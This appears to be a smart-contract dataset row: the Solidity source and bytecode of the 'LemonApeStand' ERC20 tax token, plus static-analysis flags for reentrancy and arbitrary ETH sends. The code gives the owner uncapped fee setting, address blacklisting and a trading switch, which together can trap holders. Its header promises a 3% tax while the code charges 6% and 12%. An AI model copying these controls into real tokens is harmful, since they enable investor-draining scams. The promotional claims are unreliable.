6135b9565b925050600181019050613017565b5085935050505092915050565b61305a81613721565b82525050565b61306981613764565b82525050565b600061307a826135ae565b61308481856135d7565b9350613094818560208601613776565b61309d816138b0565b840191505092915050565b60006130b56023836135d7565b91506130c0826138c1565b604082019050919050565b60006130d8602a836135d7565b91506130e382613910565b604082019050919050565b60006130fb6022836135d7565b91506131068261395f565b604082019050919050565b600061311e601b836135d7565b9150613129826139ae565b602082019050919050565b60006131416021836135d7565b915061314c826139d7565b604082019050919050565b60006131646020836135d7565b915061316f82613a26565b602082019050919050565b60006131876029836135d7565b915061319282613a4f565b604082019050919050565b60006131aa6025836135d7565b91506131b582613a9e565b604082019050919050565b60006131cd6024836135d7565b91506131d882613aed565b604082019050919050565b60006131f06017836135d7565b91506131fb82613b3c565b602082019050919050565b60006132136018836135d7565b915061321e82613b65565b602082019050919050565b6132328161374d565b82525050565b61324181613757565b82525050565b600060208201905061325c6000830184612fe4565b92915050565b60006040820190506132776000830185612fe4565b6132846020830184612fe4565b9392505050565b60006040820190506132a06000830185612fe4565b6132ad6020830184613229565b9392505050565b600060c0820190506132c96000830189612fe4565b6132d66020830188613229565b6132e36040830187613060565b6132f06060830186613060565b6132fd6080830185612fe4565b61330a60a0830184613229565b979650505050505050565b600060208201905061332a6000830184613051565b92915050565b6000602082019050818103600083015261334a818461306f565b905092915050565b6000602082019050818103600083015261336b816130a8565b9050919050565b6000602082019050818103600083015261338b816130cb565b9050919050565b600060208201905081810360008301526133ab816130ee565b9050919050565b600060208201905081810360008301526133cb81613111565b9050919050565b600060208201905081810360008301526133eb81613134565b9050919050565b6000602082019050818103600083015261340b81613157565b9050919050565b6000602082019050818103600083015261342b8161317a565b9050919050565b6000602082019050818103600083015261344b8161319d565b9050919050565b6000602082019050818103600083015261346b816131c0565b9050919050565b6000602082019050818103600083015261348b816131e3565b9050919050565b600060208201905081810360008301526134ab81613206565b9050919050565b60006020820190506134c76000830184613229565b92915050565b600060a0820190506134e26000830188613229565b6134ef6020830187613060565b81810360408301526135018186612ff3565b90506135106060830185612fe4565b61351d6080830184613229565b9695505050505050565b600060208201905061353c6000830184613238565b92915050565b600061354c61355d565b905061355882826137a9565b919050565b6000604051905090565b600067ffffffffffffffff82111561358257613581613881565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006135f38261374d565b91506135fe8361374d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561363357613632613823565b5b828201905092915050565b60006136498261374d565b91506136548361374d565b92508261366457613663613852565b5b828204905092915050565b600061367a8261374d565b91506136858361374d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156136be576136bd613823565b5b828202905092915050565b60006136d48261374d565b91506136df8361374d565b9250828210156136f2576136f1613823565b5b828203905092915050565b60006137088261372d565b9050919050565b600061371a8261372d565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061376f8261374d565b9050919050565b60005b83811015613794578082015181840152602081019050613779565b838111156137a3576000848401525b50505050565b6137b2826138b0565b810181811067ffffffffffffffff821117156137d1576137d0613881565b5b80604052505050565b60006137e58261374d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561381857613817613823565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b613b97816136fd565b8114613ba257600080fd5b50565b613bae8161370f565b8114613bb957600080fd5b50565b613bc581613721565b8114613bd057600080fd5b50565b613bdc8161374d565b8114613be757600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b20cd1208912d3b231ab8781e4dee421854a63d530c31a448e2260c7bf40dc5064736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 2,648 |
0x889bf4dea17317dfdce1fc7b4f89960c15708a57
|
/*
LemonApeStand ($LAS)
We decided to make a generous 3% dev tax token that goes to whales who can hold their ground.
This is a community token. Community vs Whales. With community joint efforts whales can be beat!
We all make riches. Don't jeet.
Website: https://lemonapestand.com/?lemons
Telegram: https://t.me/LemonApeStand
Twitter: https://twitter.com/LemonApeStand
Whitepaper: https://lemonapestand.com/LemonApeStand_Whitepaper_220407.pdf
***********************
Tokenomics-
6% tax on Buys
12% tax on sells
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address ownershipRenounced) public virtual onlyOwner {
require(ownershipRenounced != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, ownershipRenounced);
_owner = ownershipRenounced;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract LAS is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "LemonApeStand";//////////////////////////
string private constant _symbol = "LAS";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 5000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 0;////////////////////////////////////////////////////////////////////
uint256 private _taxFeeOnBuy = 6;//////////////////////////////////////////////////////////////////////
//Sell Fee
uint256 private _redisFeeOnSell = 0;/////////////////////////////////////////////////////////////////////
uint256 private _taxFeeOnSell = 12;/////////////////////////////////////////////////////////////////////
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x9575f3Fc6aCe26Dd65108348Aa424c3d26121D9f);/////////////////////////////////////////////////
address payable private _marketingAddress = payable(0x9575f3Fc6aCe26Dd65108348Aa424c3d26121D9f);///////////////////////////////////////////////////
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 50000 * 10**9; //
uint256 public _maxWalletSize = 50000 * 10**9; //
uint256 public _swapTokensAtAmount = 1000000 * 10**9; //
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);/////////////////////////////////////////////////
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set MAx transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101c55760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461051e578063dd62ed3e1461053e578063ea1644d514610584578063f2fde38b146105a457600080fd5b8063a2a957bb14610499578063a9059cbb146104b9578063bfd79284146104d9578063c3c8cd801461050957600080fd5b80638f70ccf7116100d15780638f70ccf7146104175780638f9a55c01461043757806395d89b411461044d57806398a5c3151461047957600080fd5b806374010ece146103c35780637d1db4a5146103e35780638da5cb5b146103f957600080fd5b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f8146103595780636fc3eaec1461037957806370a082311461038e578063715018a6146103ae57600080fd5b8063313ce567146102fd57806349bd5a5e146103195780636b9990531461033957600080fd5b80631694505e116101a05780631694505e1461026b57806318160ddd146102a357806323b872dd146102c75780632fd689e3146102e757600080fd5b8062b8cf2a146101d157806306fdde03146101f3578063095ea7b31461023b57600080fd5b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f16101ec366004611ae8565b6105c4565b005b3480156101ff57600080fd5b5060408051808201909152600d81526c13195b5bdb905c1954dd185b99609a1b60208201525b6040516102329190611c12565b60405180910390f35b34801561024757600080fd5b5061025b610256366004611a3e565b610671565b6040519015158152602001610232565b34801561027757600080fd5b5060145461028b906001600160a01b031681565b6040516001600160a01b039091168152602001610232565b3480156102af57600080fd5b506611c37937e080005b604051908152602001610232565b3480156102d357600080fd5b5061025b6102e23660046119fe565b610688565b3480156102f357600080fd5b506102b960185481565b34801561030957600080fd5b5060405160098152602001610232565b34801561032557600080fd5b5060155461028b906001600160a01b031681565b34801561034557600080fd5b506101f161035436600461198e565b6106f1565b34801561036557600080fd5b506101f1610374366004611baf565b61073c565b34801561038557600080fd5b506101f1610784565b34801561039a57600080fd5b506102b96103a936600461198e565b6107cf565b3480156103ba57600080fd5b506101f16107f1565b3480156103cf57600080fd5b506101f16103de366004611bc9565b610865565b3480156103ef57600080fd5b506102b960165481565b34801561040557600080fd5b506000546001600160a01b031661028b565b34801561042357600080fd5b506101f1610432366004611baf565b610894565b34801561044357600080fd5b506102b960175481565b34801561045957600080fd5b506040805180820190915260038152624c415360e81b6020820152610225565b34801561048557600080fd5b506101f1610494366004611bc9565b6108dc565b3480156104a557600080fd5b506101f16104b4366004611be1565b61090b565b3480156104c557600080fd5b5061025b6104d4366004611a3e565b610949565b3480156104e557600080fd5b5061025b6104f436600461198e565b60106020526000908152604090205460ff1681565b34801561051557600080fd5b506101f1610956565b34801561052a57600080fd5b506101f1610539366004611a69565b6109aa565b34801561054a57600080fd5b506102b96105593660046119c6565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561059057600080fd5b506101f161059f366004611bc9565b610a59565b3480156105b057600080fd5b506101f16105bf36600461198e565b610a88565b6000546001600160a01b031633146105f75760405162461bcd60e51b81526004016105ee90611c65565b60405180910390fd5b60005b815181101561066d5760016010600084848151811061062957634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061066581611d78565b9150506105fa565b5050565b600061067e338484610b72565b5060015b92915050565b6000610695848484610c96565b6106e784336106e285604051806060016040528060288152602001611dd5602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111d2565b610b72565b5060019392505050565b6000546001600160a01b0316331461071b5760405162461bcd60e51b81526004016105ee90611c65565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107665760405162461bcd60e51b81526004016105ee90611c65565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107b957506013546001600160a01b0316336001600160a01b0316145b6107c257600080fd5b476107cc8161120c565b50565b6001600160a01b03811660009081526002602052604081205461068290611291565b6000546001600160a01b0316331461081b5760405162461bcd60e51b81526004016105ee90611c65565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461088f5760405162461bcd60e51b81526004016105ee90611c65565b601655565b6000546001600160a01b031633146108be5760405162461bcd60e51b81526004016105ee90611c65565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109065760405162461bcd60e51b81526004016105ee90611c65565b601855565b6000546001600160a01b031633146109355760405162461bcd60e51b81526004016105ee90611c65565b600893909355600a91909155600955600b55565b600061067e338484610c96565b6012546001600160a01b0316336001600160a01b0316148061098b57506013546001600160a01b0316336001600160a01b0316145b61099457600080fd5b600061099f306107cf565b90506107cc81611315565b6000546001600160a01b031633146109d45760405162461bcd60e51b81526004016105ee90611c65565b60005b82811015610a53578160056000868685818110610a0457634e487b7160e01b600052603260045260246000fd5b9050602002016020810190610a19919061198e565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a4b81611d78565b9150506109d7565b50505050565b6000546001600160a01b03163314610a835760405162461bcd60e51b81526004016105ee90611c65565b601755565b6000546001600160a01b03163314610ab25760405162461bcd60e51b81526004016105ee90611c65565b6001600160a01b038116610b175760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105ee565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bd45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105ee565b6001600160a01b038216610c355760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105ee565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cfa5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105ee565b6001600160a01b038216610d5c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105ee565b60008111610dbe5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105ee565b6000546001600160a01b03848116911614801590610dea57506000546001600160a01b03838116911614155b156110cb57601554600160a01b900460ff16610e83576000546001600160a01b03848116911614610e835760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105ee565b601654811115610ed55760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105ee565b6001600160a01b03831660009081526010602052604090205460ff16158015610f1757506001600160a01b03821660009081526010602052604090205460ff16155b610f6f5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105ee565b6015546001600160a01b03838116911614610ff45760175481610f91846107cf565b610f9b9190611d0a565b10610ff45760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105ee565b6000610fff306107cf565b6018546016549192508210159082106110185760165491505b80801561102f5750601554600160a81b900460ff16155b801561104957506015546001600160a01b03868116911614155b801561105e5750601554600160b01b900460ff165b801561108357506001600160a01b03851660009081526005602052604090205460ff16155b80156110a857506001600160a01b03841660009081526005602052604090205460ff16155b156110c8576110b682611315565b4780156110c6576110c64761120c565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061110d57506001600160a01b03831660009081526005602052604090205460ff165b8061113f57506015546001600160a01b0385811691161480159061113f57506015546001600160a01b03848116911614155b1561114c575060006111c6565b6015546001600160a01b03858116911614801561117757506014546001600160a01b03848116911614155b1561118957600854600c55600954600d555b6015546001600160a01b0384811691161480156111b457506014546001600160a01b03858116911614155b156111c657600a54600c55600b54600d555b610a53848484846114ba565b600081848411156111f65760405162461bcd60e51b81526004016105ee9190611c12565b5060006112038486611d61565b95945050505050565b6012546001600160a01b03166108fc6112268360026114e8565b6040518115909202916000818181858888f1935050505015801561124e573d6000803e3d6000fd5b506013546001600160a01b03166108fc6112698360026114e8565b6040518115909202916000818181858888f1935050505015801561066d573d6000803e3d6000fd5b60006006548211156112f85760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105ee565b600061130261152a565b905061130e83826114e8565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061136b57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156113bf57600080fd5b505afa1580156113d3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113f791906119aa565b8160018151811061141857634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201015260145461143e9130911684610b72565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611477908590600090869030904290600401611c9a565b600060405180830381600087803b15801561149157600080fd5b505af11580156114a5573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806114c7576114c761154d565b6114d284848461157b565b80610a5357610a53600e54600c55600f54600d55565b600061130e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611672565b60008060006115376116a0565b909250905061154682826114e8565b9250505090565b600c5415801561155d5750600d54155b1561156457565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061158d876116de565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115bf908761173b565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115ee908661177d565b6001600160a01b038916600090815260026020526040902055611610816117dc565b61161a8483611826565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161165f91815260200190565b60405180910390a3505050505050505050565b600081836116935760405162461bcd60e51b81526004016105ee9190611c12565b5060006112038486611d22565b60065460009081906611c37937e080006116ba82826114e8565b8210156116d5575050600654926611c37937e0800092509050565b90939092509050565b60008060008060008060008060006116fb8a600c54600d5461184a565b925092509250600061170b61152a565b9050600080600061171e8e87878761189f565b919e509c509a509598509396509194505050505091939550919395565b600061130e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111d2565b60008061178a8385611d0a565b90508381101561130e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105ee565b60006117e661152a565b905060006117f483836118ef565b30600090815260026020526040902054909150611811908261177d565b30600090815260026020526040902055505050565b600654611833908361173b565b600655600754611843908261177d565b6007555050565b6000808080611864606461185e89896118ef565b906114e8565b90506000611877606461185e8a896118ef565b9050600061188f826118898b8661173b565b9061173b565b999298509